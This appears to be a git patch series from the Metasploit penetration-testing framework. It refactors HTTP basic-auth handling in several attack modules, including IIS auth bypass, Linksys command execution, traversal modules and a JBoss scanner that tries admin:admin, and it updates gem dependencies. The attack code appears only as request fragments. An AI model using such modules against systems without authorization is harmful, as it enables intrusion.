Exploit::Remote::HttpClient # # Combine the user/pass into an auth string for the HTTP Client # - def basic_auth - return if not datastore['USERNAME'] - datastore['USERNAME'].to_s + ":" + (datastore['PASSWORD'].to_s || '') + def basic_auth(username, password) + auth_str = Rex::Text.encode_base64("#{username}:#{password}") + "Basic #{auth_str}" end ## diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 47fa021f4f..4a8d8108f3 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -113,7 +113,6 @@ class Client # # @param opts [Hash] # @option opts 'agent' [String] User-Agent header value - # @option opts 'basic_auth' [String] Basic-Auth header value # @option opts 'connection' [String] Connection header value # @option opts 'cookie' [String] Cookie header value # @option opts 'data' [String] HTTP data (only useful with some methods, see rfc2616) diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index c941342fe7..e0cdb4946f 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -87,12 +87,6 @@ class ClientRequest def initialize(opts={}) @opts = DefaultConfig.merge(opts) - - # Backwards compatibility for wonky basic authentication api from - # the dawn of time. - if opts['basic_auth'] and not opts['authorization'] - @opts['authorization'] = "Basic #{Rex::Text.encode_base64(opts['basic_auth'])}" - end end def to_s diff --git a/modules/auxiliary/admin/http/iis_auth_bypass.rb b/modules/auxiliary/admin/http/iis_auth_bypass.rb index d900abe8e7..0e051223a7 100644 --- a/modules/auxiliary/admin/http/iis_auth_bypass.rb +++ b/modules/auxiliary/admin/http/iis_auth_bypass.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => dir, 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" + 'authorization' => basic_auth(user,pass) }) vprint_status(res.body) if res diff --git a/modules/auxiliary/admin/http/intersil_pass_reset.rb b/modules/auxiliary/admin/http/intersil_pass_reset.rb index 12934c9a0e..fb32e1f41c 100644 --- a/modules/auxiliary/admin/http/intersil_pass_reset.rb +++ b/modules/auxiliary/admin/http/intersil_pass_reset.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri'=> uri, 'method'=>'GET', - 'basic_auth' => "#{Rex::Text.rand_text_alpha(127)}:#{datastore['PASSWORD']}" + 'authorization' => basic_auth(Rex::Text.rand_text_alpha(127),datastore['PASSWORD']) }) if res.nil? @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => uri, 'method'=> 'GET', - 'basic_auth' => "admin:#{datastore['PASSWORD']}" + 'authorization' => basic_auth('admin', datastore['PASSWORD']) }) if not res diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb index 189f937ea1..2adf4bb5e8 100644 --- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" + 'authorization' => basic_auth(user,pass) }) unless (res.kind_of? Rex::Proto::Http::Response) @@ -136,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', - 'basic_auth' => "#{user}:#{pass}", + 'authorization' => basic_auth(user,pass), #'data' => data_cmd, 'vars_post' => { diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index 632a991c0f..909afe5443 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(traversal, file), - 'basic_auth' => "#{user}:#{pass}" + 'authorization' => basic_auth(user,pass) }) if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/ @@ -95,7 +95,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => '/', 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" + 'authorization' => basic_auth(user,pass) }) return :abort if res.nil? diff --git a/modules/auxiliary/gather/xbmc_traversal.rb b/modules/auxiliary/gather/xbmc_traversal.rb index 3f03554c15..a1bcb87489 100644 --- a/modules/auxiliary/gather/xbmc_traversal.rb +++ b/modules/auxiliary/gather/xbmc_traversal.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_raw({ 'method' => 'GET', 'uri' => "/#{traversal}/#{datastore['FILEPATH']}", - 'basic_auth' => "#{datastore['USERNAME']}:#{datastore['PASSWORD']}" + 'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']) }, 25) rescue Rex::ConnectionRefused print_error("#{rhost}:#{rport} Could not connect.") diff --git a/modules/auxiliary/scanner/http/http_traversal.rb b/modules/auxiliary/scanner/http/http_traversal.rb index a5f6c194f8..eedc2a72ce 100644 --- a/modules/auxiliary/scanner/http/http_traversal.rb +++ b/modules/auxiliary/scanner/http/http_traversal.rb @@ -28,8 +28,7 @@ class Metasploit3 < Msf::Auxiliary source against PHP applications. The 'WRITABLE' action can be used to determine if the trigger can be used to write files outside the www directory. - To use the 'COOKIE' option, set your value like so: "name=value". To use - the 'BASICAUTH' option, set it like this: "username:password". + To use the 'COOKIE' option, set your value like so: "name=value". }, 'Author' => [ @@ -70,8 +69,7 @@ class Metasploit3 < Msf::Auxiliary # We favor automatic OptString.new('TRIGGER', [false,'Trigger string. Ex: ../', '']), OptString.new('FILE', [false, 'Default file to read for the fuzzing stage', '']), - OptString.new('COOKIE', [false, 'Cookie value to use when sending the requests', '']), - OptString.new('BASICAUTH', [false, 'Credential to use for basic auth (Ex: admin:admin)', '']) + OptString.new('COOKIE', [false, 'Cookie value to use when sending the requests', '']) ], self.class) deregister_options('RHOST') @@ -155,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary req['uri'] = this_path req['headers'] = {'Cookie'=>datastore['COOKIE']} if not datastore['COOKIE'].empty? req['data'] = datastore['DATA'] if not datastore['DATA'].empty? - req['basic_auth'] = datastore['BASICAUTH'] if not datastore['BASICAUTH'].empty? + req['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) return req end diff --git a/modules/auxiliary/scanner/http/jboss_vulnscan.rb b/modules/auxiliary/scanner/http/jboss_vulnscan.rb index d6dc7c3638..41f5566772 100644 --- a/modules/auxiliary/scanner/http/jboss_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jboss_vulnscan.rb @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Auxiliary 'uri' => app, 'method' => 'GET', 'ctype' => 'text/plain', - 'basic_auth' => 'admin:admin' + 'authorization' => basic_auth('admin','admin') }, 20) if (res and res.code == 200) print_good("#{rhost}:#{rport} Authenticated using admin:admin") diff --git a/modules/exploits/multi/http/netwin_surgeftp_exec.rb b/modules/exploits/multi/http/netwin_surgeftp_exec.rb index b546de063f..cbddcb1930 100644 --- a/modules/exploits/multi/http/netwin_surgeftp_exec.rb +++ b/modules/exploits/multi/http/netwin_surgeftp_exec.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'uri' => '/cgi/surgeftpmgr.cgi', 'method' => 'POST', - 'basic_auth' => datastore['USERNAME'] + ":" + datastore['PASSWORD'], + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'vars_post' => { 'global_smtp' => "", diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index bb2f642e38..3ddd07d6bd 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -85,26 +85,6 @@ describe Rex::Proto::Http::Client do match.captures[0].chomp.should == base64 end end - - context "and basic_auth" do - before do - cli.set_config({"basic_auth" => "user:pass"}) - end - it "should not have two Authorization headers" do - req = cli.request_cgi - match = req.to_s.match("Authorization: Basic") - match.should be - match.length.should == 1 - end - it "should prefer basic_auth" do - req = cli.request_cgi - match = req.to_s.match(/Authorization: Basic (.*)$/) - match.should be - match.captures.length.should == 1 - match.captures[0].chomp.should == base64 - end - end - end it "should attempt to connect to a server" do From 99a8ec593bb03d4388865aec4c11b51b3ce10a03 Mon Sep 17 00:00:00 2001 From: Tasos Laskos Date: Fri, 1 Mar 2013 20:21:02 +0200 Subject: [PATCH 398/448] Fixing merge conflicts --- lib/msf/core/auxiliary/web.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/auxiliary/web.rb b/lib/msf/core/auxiliary/web.rb index 48428b720c..3c83af5f9a 100644 --- a/lib/msf/core/auxiliary/web.rb +++ b/lib/msf/core/auxiliary/web.rb @@ -179,10 +179,11 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => details[:category] || opts[:confidence] || 100, :owner => self } + info[:confidence] = calculate_confidence( info ) + report_web_vuln( info ) print_good " FOUND(#{mode.to_s.upcase}) URL(#{location})" @@ -211,10 +212,11 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => details[:category] || opts[:confidence] || 100, :owner => self } + info[:confidence] = calculate_confidence( info ) + report_web_vuln( info ) print_good " VULNERABLE(#{mode.to_s.upcase}) URL(#{target.to_url})" @@ -278,7 +280,7 @@ module Auxiliary::Web report_web_vuln( info ) print_good " VULNERABLE(#{mode.to_s.upcase}) URL(#{target.to_url})" + - " PARAMETER(#{element.altered}) VALUES(#{element.params})" + " PARAMETER(#{element.altered}) VALUES(#{element.params})" print_good " PROOF(#{proof})" end From bd8f94c43dac3eb9a81edcce85e47bbe183093f1 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 1 Mar 2013 13:44:52 -0600 Subject: [PATCH 399/448] Update to master tag of 0.5.1 of metasploit_data_models [#44034071] --- Gemfile.lock | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 6ac57f60f6..983117cbb4 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,6 +1,6 @@ GIT remote: git://github.com/rapid7/metasploit_data_models.git - revision: a56276f8f6d1f2d532c03d2900537cadf94e1411 + revision: 1e3e0c2effb8e1bb6cec9683b830e4244babf706 tag: 0.5.1 specs: metasploit_data_models (0.5.1) @@ -12,22 +12,22 @@ GIT GEM remote: http://rubygems.org/ specs: - activemodel (3.2.11) - activesupport (= 3.2.11) + activemodel (3.2.12) + activesupport (= 3.2.12) builder (~> 3.0.0) - activerecord (3.2.11) - activemodel (= 3.2.11) - activesupport (= 3.2.11) + activerecord (3.2.12) + activemodel (= 3.2.12) + activesupport (= 3.2.12) arel (~> 3.0.2) tzinfo (~> 0.3.29) - activesupport (3.2.11) + activesupport (3.2.12) i18n (~> 0.6) multi_json (~> 1.0) arel (3.0.2) builder (3.0.4) coderay (1.0.9) diff-lcs (1.1.3) - i18n (0.6.1) + i18n (0.6.4) json (1.7.7) method_source (0.8.1) msgpack (0.5.2) From b855bd3f3affb2074b44326d94ab6c4e5edc6374 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 1 Mar 2013 14:06:58 -0600 Subject: [PATCH 400/448] Add metasploit_data_models 0.5.1 to gemcache [#44034071] --- .../gems/metasploit_data_models-0.4.0/Gemfile | 10 - .../metasploit_data_models-0.4.0/Rakefile | 7 - .../app/models/mdm/web_vuln.rb | 16 - .../lib/metasploit_data_models/version.rb | 7 - .../.gitignore | 10 +- .../.rspec | 0 .../metasploit_data_models-0.5.1/.simplecov | 38 ++ .../metasploit_data_models-0.5.1/.yardopts | 4 + .../gems/metasploit_data_models-0.5.1/Gemfile | 22 + .../LICENSE | 0 .../README.md | 0 .../metasploit_data_models-0.5.1/Rakefile | 20 + .../app/models/mdm/api_key.rb | 0 .../app/models/mdm/client.rb | 0 .../app/models/mdm/cred.rb | 0 .../app/models/mdm/event.rb | 0 .../app/models/mdm/exploit_attempt.rb | 0 .../app/models/mdm/exploited_host.rb | 0 .../app/models/mdm/host.rb | 0 .../app/models/mdm/host_detail.rb | 0 .../app/models/mdm/host_tag.rb | 0 .../app/models/mdm/imported_cred.rb | 0 .../app/models/mdm/listener.rb | 0 .../app/models/mdm/loot.rb | 0 .../app/models/mdm/macro.rb | 0 .../app/models/mdm/mod_ref.rb | 0 .../app/models/mdm/module_action.rb | 0 .../app/models/mdm/module_arch.rb | 0 .../app/models/mdm/module_author.rb | 0 .../app/models/mdm/module_detail.rb | 0 .../app/models/mdm/module_mixin.rb | 0 .../app/models/mdm/module_platform.rb | 0 .../app/models/mdm/module_ref.rb | 0 .../app/models/mdm/module_target.rb | 0 .../app/models/mdm/nexpose_console.rb | 0 .../app/models/mdm/note.rb | 0 .../app/models/mdm/profile.rb | 0 .../app/models/mdm/ref.rb | 0 .../app/models/mdm/report.rb | 0 .../app/models/mdm/report_template.rb | 0 .../app/models/mdm/route.rb | 0 .../app/models/mdm/service.rb | 0 .../app/models/mdm/session.rb | 0 .../app/models/mdm/session_event.rb | 0 .../app/models/mdm/tag.rb | 0 .../app/models/mdm/task.rb | 0 .../app/models/mdm/user.rb | 0 .../app/models/mdm/vuln.rb | 0 .../app/models/mdm/vuln_attempt.rb | 0 .../app/models/mdm/vuln_detail.rb | 0 .../app/models/mdm/vuln_ref.rb | 0 .../app/models/mdm/web_form.rb | 0 .../app/models/mdm/web_page.rb | 0 .../app/models/mdm/web_site.rb | 0 .../app/models/mdm/web_vuln.rb | 144 ++++ .../app/models/mdm/wmap_request.rb | 0 .../app/models/mdm/wmap_target.rb | 0 .../app/models/mdm/workspace.rb | 0 .../bin/mdm_console | 0 .../console_db.yml | 0 .../db/migrate/000_create_tables.rb | 79 +++ .../db/migrate/001_add_wmap_tables.rb | 35 + .../db/migrate/002_add_workspaces.rb | 36 + .../db/migrate/003_move_notes.rb | 20 + .../db/migrate/004_add_events_table.rb | 16 + .../db/migrate/005_expand_info.rb | 58 ++ .../db/migrate/006_add_timestamps.rb | 26 + .../db/migrate/007_add_loots.rb | 20 + .../db/migrate/008_create_users.rb | 16 + .../db/migrate/009_add_loots_ctype.rb | 10 + .../db/migrate/010_add_alert_fields.rb | 16 + .../db/migrate/011_add_reports.rb | 19 + .../db/migrate/012_add_tasks.rb | 24 + .../db/migrate/013_add_tasks_result.rb | 10 + .../db/migrate/014_add_loots_fields.rb | 12 + .../db/migrate/015_rename_user.rb | 16 + .../db/migrate/016_add_host_purpose.rb | 10 + .../db/migrate/017_expand_info2.rb | 58 ++ .../db/migrate/018_add_workspace_user_info.rb | 29 + .../db/migrate/019_add_workspace_desc.rb | 23 + .../db/migrate/020_add_user_preferences.rb | 11 + .../migrate/021_standardize_info_and_data.rb | 18 + .../db/migrate/022_enlarge_event_info.rb | 10 + .../migrate/023_add_report_downloaded_at.rb | 10 + .../024_convert_service_info_to_text.rb | 12 + .../db/migrate/025_add_user_admin.rb | 19 + .../db/migrate/026_add_creds_table.rb | 19 + .../20100819123300_migrate_cred_data.rb | 154 +++++ .../20100824151500_add_exploited_table.rb | 16 + .../20100908001428_add_owner_to_workspaces.rb | 9 + .../20100911122000_add_report_templates.rb | 18 + .../20100916151530_require_admin_flag.rb | 15 + ...00916175000_add_campaigns_and_templates.rb | 61 ++ .../20100920012100_add_generate_exe_column.rb | 8 + .../20100926214000_add_template_prefs.rb | 11 + .../migrate/20101001000000_add_web_tables.rb | 57 ++ .../db/migrate/20101002000000_add_query.rb | 10 + .../migrate/20101007000000_add_vuln_info.rb | 15 + ...20101008111800_add_clients_to_campaigns.rb | 10 + ...20101009023300_add_campaign_attachments.rb | 15 + .../20101104135100_add_imported_creds.rb | 17 + .../migrate/20101203000000_fix_web_tables.rb | 34 + .../20101203000001_expand_host_comment.rb | 12 + ...2033_add_limit_to_network_to_workspaces.rb | 9 + ...20110112154300_add_module_uuid_to_tasks.rb | 9 + .../migrate/20110204112800_add_host_tags.rb | 28 + .../20110317144932_add_session_table.rb | 110 +++ ...414180600_add_local_id_to_session_table.rb | 11 + .../20110415175705_add_routes_table.rb | 18 + .../migrate/20110422000000_convert_binary.rb | 72 ++ ...0110425095900_add_last_seen_to_sessions.rb | 8 + ...0110513143900_track_successful_exploits.rb | 31 + ...517160800_rename_and_prune_nessus_vulns.rb | 26 + ...0527000000_add_task_id_to_reports_table.rb | 11 + .../20110527000001_add_api_keys_table.rb | 12 + .../20110606000001_add_macros_table.rb | 16 + ...10622000000_add_settings_to_tasks_table.rb | 12 + .../20110624000001_add_listeners_table.rb | 19 + ...0625000001_add_macro_to_listeners_table.rb | 12 + ...110630000001_add_nexpose_consoles_table.rb | 21 + ...0002_add_name_to_nexpose_consoles_table.rb | 12 + .../20110717000001_add_profiles_table.rb | 15 + ...20110727163801_expand_cred_ptype_column.rb | 9 + .../20110730000001_add_initial_indexes.rb | 85 +++ .../migrate/20110812000001_prune_indexes.rb | 23 + .../db/migrate/20110922000000_expand_notes.rb | 9 + .../20110928101300_add_mod_ref_table.rb | 17 + ...10000_add_display_name_to_reports_table.rb | 24 + .../db/migrate/20111203000000_inet_columns.rb | 13 + .../20111204000000_more_inet_columns.rb | 17 + .../20111210000000_add_scope_to_hosts.rb | 9 + ...0120126110000_add_virtual_host_to_hosts.rb | 9 + ...20120411173220_rename_workspace_members.rb | 9 + ...20601152442_add_counter_caches_to_hosts.rb | 21 + .../20120625000000_add_vuln_details.rb | 34 + .../20120625000001_add_host_details.rb | 16 + .../migrate/20120625000002_expand_details.rb | 16 + .../migrate/20120625000003_expand_details2.rb | 24 + .../20120625000004_add_vuln_attempts.rb | 19 + ...000005_add_vuln_and_host_counter_caches.rb | 14 + .../20120625000006_add_module_details.rb | 118 ++++ .../20120625000007_add_exploit_attempts.rb | 26 + .../20120625000008_add_fail_message.rb | 12 + ...2805_add_owner_and_payload_to_web_vulns.rb | 13 + ...ired_columns_to_null_false_in_web_vulns.rb | 35 + .../lib/mdm.rb | 0 .../host/operating_system_normalization.rb | 0 .../lib/metasploit_data_models.rb | 0 .../base64_serializer.rb | 0 .../lib/metasploit_data_models/engine.rb | 0 .../serialized_prefs.rb | 0 .../validators/ip_format_validator.rb | 0 .../password_is_strong_validator.rb | 0 .../lib/metasploit_data_models/version.rb | 8 + .../lib/tasks/yard.rake | 27 + .../metasploit_data_models.gemspec | 4 + .../script/rails | 0 .../spec/app/models/mdm/web_vuln_spec.rb | 87 +++ .../spec/dummy/Rakefile | 0 .../app/assets/javascripts/application.js | 0 .../app/assets/stylesheets/application.css | 0 .../app/controllers/application_controller.rb | 0 .../dummy/app/helpers/application_helper.rb | 0 .../spec/dummy/app/mailers/.gitkeep | 0 .../spec/dummy/app/models/.gitkeep | 0 .../app/views/layouts/application.html.erb | 0 .../spec/dummy/config.ru | 0 .../spec/dummy/config/application.rb | 0 .../spec/dummy/config/boot.rb | 0 .../spec/dummy/config/database.yml.example | 0 .../spec/dummy/config/environment.rb | 0 .../dummy/config/environments/development.rb | 0 .../dummy/config/environments/production.rb | 0 .../spec/dummy/config/environments/test.rb | 0 .../initializers/backtrace_silencers.rb | 0 .../dummy/config/initializers/inflections.rb | 0 .../dummy/config/initializers/mime_types.rb | 0 .../dummy/config/initializers/secret_token.rb | 0 .../config/initializers/session_store.rb | 0 .../config/initializers/wrap_parameters.rb | 0 .../spec/dummy/config/routes.rb | 0 .../spec/dummy/db/schema.rb | 638 ++++++++++++++++++ .../spec/dummy/lib/assets/.gitkeep | 0 .../spec/dummy/log/.gitkeep | 0 .../spec/dummy/public/404.html | 0 .../spec/dummy/public/422.html | 0 .../spec/dummy/public/500.html | 0 .../spec/dummy/public/favicon.ico | 0 .../spec/dummy/script/rails | 0 .../spec/lib/base64_serializer_spec.rb | 0 .../spec/spec_helper.rb | 2 + ...c => metasploit_data_models-0.5.1.gemspec} | 16 +- 192 files changed, 3131 insertions(+), 47 deletions(-) delete mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/Gemfile delete mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/Rakefile delete mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_vuln.rb delete mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/version.rb rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/.gitignore (78%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/.rspec (100%) create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.simplecov create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.yardopts create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Gemfile rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/LICENSE (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/README.md (100%) create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Rakefile rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/api_key.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/client.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/cred.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/event.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/exploit_attempt.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/exploited_host.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/host.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/host_detail.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/host_tag.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/imported_cred.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/listener.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/loot.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/macro.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/mod_ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/module_action.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/module_arch.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/module_author.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/module_detail.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/module_mixin.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/module_platform.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/module_ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/module_target.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/nexpose_console.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/note.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/profile.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/report.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/report_template.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/route.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/service.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/session.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/session_event.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/tag.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/task.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/user.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/vuln.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/vuln_attempt.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/vuln_detail.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/vuln_ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/web_form.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/web_page.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/web_site.rb (100%) create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_vuln.rb rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/wmap_request.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/wmap_target.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/workspace.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/bin/mdm_console (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/console_db.yml (100%) create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/000_create_tables.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/001_add_wmap_tables.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/002_add_workspaces.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/003_move_notes.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/004_add_events_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/005_expand_info.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/006_add_timestamps.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/007_add_loots.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/008_create_users.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/009_add_loots_ctype.rb create mode 100755 